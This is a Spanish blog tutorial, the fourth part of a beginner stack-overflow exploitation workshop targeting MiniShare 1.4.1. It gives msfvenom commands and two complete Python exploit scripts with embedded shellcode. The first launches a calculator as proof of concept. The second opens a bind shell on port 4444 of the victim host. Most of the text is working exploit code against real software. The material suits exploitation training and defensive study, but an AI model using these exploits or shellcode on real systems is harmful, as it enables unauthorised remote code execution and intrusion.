Taller de iniciación al exploiting: desbordamiento de pila (4) - ejecución del shellcode
Para ello usaremos msfvenom, una utilidad de Metasploit con la que podremos generar y encodear fácilmente payloads.
Primero generaremos un payload para ejecutar la típica calculadora como prueba de concepto. Tenemos que aseguraremos que el shellcode que se crea esté libre de los caracteres incorrectos o "bad characters" más usuales "\x00\x0a\x0d" que, de no eliminarse, podrían hacer que el shellcode sea inviable. El comando resultante sería:
msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f python
Lo copiamos y pegamos a nuestro exploit:
EXPLOIT K
#!/usr/share/python
import socket,sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],80))
junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32
# msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f python
shellcode = ""
shellcode += "\xba\x6a\xfc\x07\x12\xd9\xe8\xd9\x74\x24\xf4\x5e\x29"
shellcode += "\xc9\xb1\x31\x83\xee\xfc\x31\x56\x0f\x03\x56\x65\x1e"
shellcode += "\xf2\xee\x91\x5c\xfd\x0e\x61\x01\x77\xeb\x50\x01\xe3"
shellcode += "\x7f\xc2\xb1\x67\x2d\xee\x3a\x25\xc6\x65\x4e\xe2\xe9"
shellcode += "\xce\xe5\xd4\xc4\xcf\x56\x24\x46\x53\xa5\x79\xa8\x6a"
shellcode += "\x66\x8c\xa9\xab\x9b\x7d\xfb\x64\xd7\xd0\xec\x01\xad"
shellcode += "\xe8\x87\x59\x23\x69\x7b\x29\x42\x58\x2a\x22\x1d\x7a"
shellcode += "\xcc\xe7\x15\x33\xd6\xe4\x10\x8d\x6d\xde\xef\x0c\xa4"
shellcode += "\x2f\x0f\xa2\x89\x80\xe2\xba\xce\x26\x1d\xc9\x26\x55"
shellcode += "\xa0\xca\xfc\x24\x7e\x5e\xe7\x8e\xf5\xf8\xc3\x2f\xd9"
shellcode += "\x9f\x80\x23\x96\xd4\xcf\x27\x29\x38\x64\x53\xa2\xbf"
shellcode += "\xab\xd2\xf0\x9b\x6f\xbf\xa3\x82\x36\x65\x05\xba\x29"
shellcode += "\xc6\xfa\x1e\x21\xea\xef\x12\x68\x60\xf1\xa1\x16\xc6"
shellcode += "\xf1\xb9\x18\x76\x9a\x88\x93\x19\xdd\x14\x76\x5e\x11"
shellcode += "\x5f\xdb\xf6\xba\x06\x89\x4b\xa7\xb8\x67\x8f\xde\x3a"
shellcode += "\x82\x6f\x25\x22\xe7\x6a\x61\xe4\x1b\x06\xfa\x81\x1b"
shellcode += "\xb5\xfb\x83\x7f\x58\x68\x4f\xae\xff\x08\xea\xae"
exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"
s.send(exploit)
s.close()
y al ejecutarlo, debería abrirse la calculadora como se muestra a continuación:
Ahora que vemos que todo ha funcionado correctamente llegamos al último y digamos "más práctico" exploit, que si una víctima ejecuta en un equipo con el servidor Minishare vulnerable, hará que levante una shell directa o bind.
Volvemos a generarlo también con msfvenom:
msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -b '\x00\x0d\x0a' -e x86/shikata_ga_nai -f python
Fijaros que el tamaño del payload es 326 bytes, espacio suficiente puesto que habíamos alojado hasta 409. Lo incorporamos al exploit final y ejecutamos:
EXPLOIT L
#!/usr/share/python
import socket,sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],80))
junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32
# msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -b '\x00\x0d\x0a' -e x86/shikata_ga_nai -f python
shellcode = ""
shellcode += "\xba\x8c\x69\x1e\x49\xda\xd1\xd9\x74\x24\xf4\x5f\x2b"
shellcode += "\xc9\xb1\x4b\x31\x57\x15\x03\x57\x15\x83\xc7\x04\xe2"
shellcode += "\x79\x95\xf6\xcb\x81\x66\x07\xac\x08\x83\x36\xec\x6e"
shellcode += "\xc7\x69\xdc\xe5\x85\x85\x97\xab\x3d\x1d\xd5\x63\x31"
shellcode += "\x96\x50\x55\x7c\x27\xc8\xa5\x1f\xab\x13\xf9\xff\x92"
shellcode += "\xdb\x0c\x01\xd2\x06\xfc\x53\x8b\x4d\x52\x44\xb8\x18"
shellcode += "\x6e\xef\xf2\x8d\xf6\x0c\x42\xaf\xd7\x82\xd8\xf6\xf7"
shellcode += "\x25\x0c\x83\xbe\x3d\x51\xae\x09\xb5\xa1\x44\x88\x1f"
shellcode += "\xf8\xa5\x26\x5e\x34\x54\x37\xa6\xf3\x87\x42\xde\x07"
shellcode += "\x35\x54\x25\x75\xe1\xd1\xbe\xdd\x62\x41\x1b\xdf\xa7"
shellcode += "\x17\xe8\xd3\x0c\x5c\xb6\xf7\x93\xb1\xcc\x0c\x1f\x34"
shellcode += "\x03\x85\x5b\x12\x87\xcd\x38\x3b\x9e\xab\xef\x44\xc0"
shellcode += "\x13\x4f\xe0\x8a\xbe\x84\x99\xd0\xd6\x69\x93\xea\x26"
shellcode += "\xe6\xa4\x99\x14\xa9\x1e\x36\x15\x22\xb8\xc1\x5a\x19"
shellcode += "\x7c\x5d\xa5\xa2\x7c\x77\x62\xf6\x2c\xef\x43\x77\xa7"
shellcode += "\xef\x6c\xa2\x5d\xfb\xcb\x1d\x43\x06\x81\x9c\xe9\xfb"
shellcode += "\x3e\x75\xe2\x24\x5e\x76\x29\x4d\xf7\x8b\xd1\x63\x54"
shellcode += "\x05\x37\xe9\x74\x43\xe0\x86\xb6\xb0\x39\x30\xc8\x92"
shellcode += "\xc0\x7e\x43\x45\x9d\x16\x1b\x9c\x19\x18\x9c\x8a\x0e"
shellcode += "\x8e\x17\xd9\x8b\xaf\x27\xf4\xbc\xb8\xb0\x82\x2c\x8a"
shellcode += "\x21\x92\x65\x7e\xa2\x06\x81\x29\xf5\xbe\x8b\x0c\x31"
shellcode += "\x61\x74\x7b\x41\x66\x8a\xfa\x6b\x1c\xbc\x68\x34\x4a"
shellcode += "\xc0\x7c\xb4\x8a\x96\x16\xb4\xe2\x4e\x43\xe7\x17\x91"
shellcode += "\x5e\x9b\x8b\x07\x61\xca\x78\x80\x09\xf0\xa7\xe6\x95"
shellcode += "\x0b\x82\x75\xd1\xf4\x53\x7e\x23\x36\x82\x46\x56\x51"
shellcode += "\x16"
exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"
s.send(exploit)
s.close()
Si comprobamos los puertos abiertos (netstat -a) veremos que la shell ya está levantada escuchando en el puerto 4444:
Por lo que podríamos conectarnos a la máquina de la víctima y todo a raíz de una vulnerabilidad de desbordamiento de pila...
Y hasta aquí hemos llegado con el taller de iniciación del exploiting. Espero que hayáis disfrutado y aprendido tanto como nosotros y que estos artículos sean sólo el principio de una serie de ejercicios en el que iremos repasando y descubriendo nuevas técnicas de esta fascinante "rama" del hacking. ¡Hasta la próxima!
Fuentes:
- Taller "Palizón a la pila" de la Navaja Negra 2017
- Minishare 1.4.1 Bufferoverflow
- Exploting Buffer Overflow Minishare 1.4.1
- Smashing the Stack for Fun & Profit : Revived
Taller de iniciación al exploiting: desbordamiento de pila
1.- sobrescribiendo el EIP
2.- controlando el flujo de la aplicación
3.- "acomodando" el espacio para nuestro payload
4.- ejecución del shellcode
Via: www.hackplayers.com
Taller de iniciación al exploiting: desbordamiento de pila (4) - ejecución del shellcode
Reviewed by Zion3R
on
22:19
Rating: